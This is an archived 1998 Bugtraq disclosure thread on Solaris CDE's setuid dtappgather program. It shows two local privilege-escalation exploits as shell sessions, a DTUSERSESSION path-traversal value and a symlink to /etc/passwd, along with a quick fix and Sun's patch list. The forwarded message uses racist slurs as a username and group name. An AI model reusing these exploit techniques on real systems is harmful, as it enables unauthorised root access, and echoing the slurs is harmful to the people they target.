home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / dtap2.txt < prev    next >
Encoding:
Text File  |  1998-11-03  |  4.9 KB  |  147 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From costan@amb1.amb.polimi.it Mon Nov  2 08:12:39 1998
  5. Date: Mon, 2 Nov 1998 18:05:59 +0100 (MET)
  6. From: Andrea Costantino <costan@amb1.amb.polimi.it>
  7. To: BUGTRAQ@netspace.org, news@rootshell.com
  8. Subject: another /usr/dt/bin/dtappgather feature!
  9.  
  10. There's attached the message related to this new feature..
  11. the /usr/dt/bin/dtappgather program tries to read the enviroment variable
  12. $DTUSERSESSION to get the name of the file to seek for.
  13. The file is searched in /var/dt/appconfig/appmanager.
  14. Under SunOS 5.5,5.5.1 (aka Solaris 2.5, 2.5.1) that directory is 777 or
  15. 01777 so you're able to make a simbolic link to the file you wish, but on
  16. SunOS 5.6 (Solaris 2.6) the directory is 755 to avoid this.
  17. Unfortunately the dtappgather never check the $DTUSERSESSION variable, so
  18. you can use the syntax ../../.. etc... to grab the file you wish, even if
  19. you can't write the /var/dt/appconfig/appmanager directory....
  20.  
  21. For example
  22.  
  23. costan@penelope$ ls -ald /var/dt/appconfig/appmanager
  24. drwxr-xr-x   9 bin      bin           512 Oct 30 11:27 /var/dt/appconfig/appmanager
  25.  
  26. costan@penelope$ export $DTUSERSESSION=../../../../etc/passwd
  27. costan@penelope$ /usr/dt/bin/dtappgather
  28. [.... stuff ....]
  29. costan@penelope$ ls -al /etc/passwd
  30. -r-xr-xr-x   1 costan     users           531 Oct  9 14:08 /etc/passwd
  31.  
  32. This way you're satisfied even without making strange link on strange path
  33. (the name in CDE are very difficult to remember ;-) )
  34.  
  35. Best Wishes, admins...
  36. Andrea Costantino (aka k0stan)
  37. Network Manager at DIIAR
  38. Politecnico di Milano
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45. Attached message:
  46. [ http://www.rootshell.com/ ]
  47.  
  48. Date:         Mon, 23 Feb 1998 15:31:16 +0200
  49. From:         Mastoras <mastoras@PAPARI.HACK.GR>
  50. Subject:      /usr/dt/bin/dtappgather exploit
  51.  
  52. Buggy program:
  53.         /usr/dt/bin/dtappgather
  54.  
  55. Description of the problem:
  56.         Local users can change the ownership of any file, thus gaining
  57. root priviledges. This happens because "dtappgather" does not check if the
  58. file /var/dt/appconfig/appmanager/generic-display-0 is a symbolic link and
  59. happily chown()s it to the user. When CERT released advisory CA-98.02
  60. about /usr/dt/bin/dtappgather, I played a little with dtappgather and
  61. discovered the problem above, but I thought that patch 104498-02 corrects it,
  62. as described in SUN's section of 98.02. When I applied the patch, I
  63. realised that it was still possible to gain root privs.
  64.  
  65. Systems Affected:
  66.         *At least* SunOS 5.5 & 5.5.1 running CDE version 1.0.2 with suid
  67. bit on /usr/dt/bin/dtappgather. SunOS 5.6 (or CDE 1.2) comes with
  68. directory /var/dt/appconfig/appmanager/ mode 755 so it's not possible to
  69. make the necessary link. On the other hand, in SunOS 5.5* this dir has
  70. mode 777, so you can easily make the link or even unlink/rename the file
  71. "generic-display-0" if exists owned by another user.
  72.  
  73. Quick Fix:
  74.         chmod -s /usr/dt/bin/dtappgather
  75.  
  76. The Exploit:
  77.         The forwarded exploit was initially posted to hack.gr's security
  78. mailing list: "haxor".
  79.  
  80.  
  81. Hack wisely,
  82. Mastoras
  83.  
  84.         /*
  85.          *  Computer Engineering & Informatics Department, Patras, Greece
  86.          *  Mastor Wins, Fatality!      http://www.hack.gr/users/mastoras
  87.          */
  88.  
  89. ---------- Forwarded message ----------
  90. Date: Sat, 24 Jan 1998 02:48:13 +0200 (EET)
  91. From: Mastoras <mastoras@papari.hack.gr>
  92. Reply-To: haxor@hack.gr
  93. To: haxor@papari.hack.gr, Undisclosed recipients:  ;
  94. Subject: [HAXOR:11] dtappgather exploit
  95.  
  96. Hello,
  97.  
  98.         I suppose you have learnt about CERT's advisory on dtappgather
  99. program. Well, here's the exploit:
  100.  
  101. nigg0r@host% ls -l /etc/passwd
  102. -r--r--r--   1 root     other        1585 Dec 17 22:26 /etc/passwd
  103. nigg0r@host% ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
  104. nigg0r@host% dtappgather
  105. MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
  106. nigg0r@host% ls -l /etc/passwd
  107. -r-xr-xr-x   1 nigg0r   niggers      1585 Dec 17 22:26 /etc/passwd
  108. nigg0r@host% echo "nigg0r wins! Fatality!" | mail root
  109.  
  110.         it would be easy to find the exploit if you had read CERT's advisory.
  111. the following steps were enough..
  112.  
  113. % cp /usr/dt/bin/dtappgather .          [you can't "truss" suid proggies]
  114. % truss -o koko ./dtappgather
  115. % more koko
  116. [ shity ld things ]
  117. chown("/var/dt/appconfig/appmanager/generic-display-0", 666, 666) = 0
  118. chmod("/var/dt/appconfig/appmanager/generic-display-0", 0555) = 0
  119. [ shitty things ]
  120.  
  121.         I hope this was not too lame or well-known :-)
  122.  
  123.  
  124. Seeya,
  125. mastoras
  126.  
  127. --------------------------------------------------------------------------
  128.  
  129. Steven Goldberg - SE - Seattle WA (steven.goldberg@West.Sun.COM)
  130.  
  131. Hi,
  132.  
  133. Sun has published the following patches to address this
  134. vulnerability:
  135.  
  136. patches  104497    CDE 1.0.1: dtappgather patch
  137. patches  104498    CDE 1.0.2: dtappgather patch
  138. patches  104499    CDE 1.0.1_x86: dtappgather patch
  139. patches  104500    CDE 1.0.2_x86: dtappgather patch
  140. patches  105837    CDE 1.2: dtappgather Patch
  141. patches  105838    CDE 1.2_x86: dtappgather Patch
  142.  
  143.  
  144. thanks,
  145.  
  146. Steve
  147.